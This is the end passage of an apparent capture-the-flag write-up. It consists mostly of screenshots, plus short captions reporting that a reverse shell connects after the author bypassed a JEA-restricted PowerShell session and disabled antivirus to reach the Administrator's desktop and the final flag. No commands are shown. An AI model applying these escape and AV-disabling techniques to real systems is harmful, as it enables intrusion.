<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuF3bfeovW1agAe142VHl%2Fgrafik.png?alt=media&#x26;token=cf1b9883-df4b-47b0-8239-7c32866355cf" alt=""><figcaption></figcaption></figure>

This time we do not have any errors.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDARAXN3OD37s3lhdSOzG%2Fgrafik.png?alt=media&#x26;token=2e49b237-cc0e-469a-9161-3ffba0a5ca14" alt=""><figcaption></figcaption></figure>

And our reverse shell connects.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDm3Yx8r68AVUhFjIRCmj%2Fgrafik.png?alt=media&#x26;token=a026d1bb-2104-4754-8808-64c3e6b71a59" alt=""><figcaption></figcaption></figure>

We successfully escape the restricted PowerShell session by bypassing JEA and disabling AV to get a reverse shell. We are able to reach the Administrators Desktop where the final flag is present.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fcmy7sTLIoziv7hfbNGiH%2Fgrafik.png?alt=media&#x26;token=9c2d1a7c-f294-4acd-9bca-19ca3ba6f14b" alt=""><figcaption></figcaption></figure>
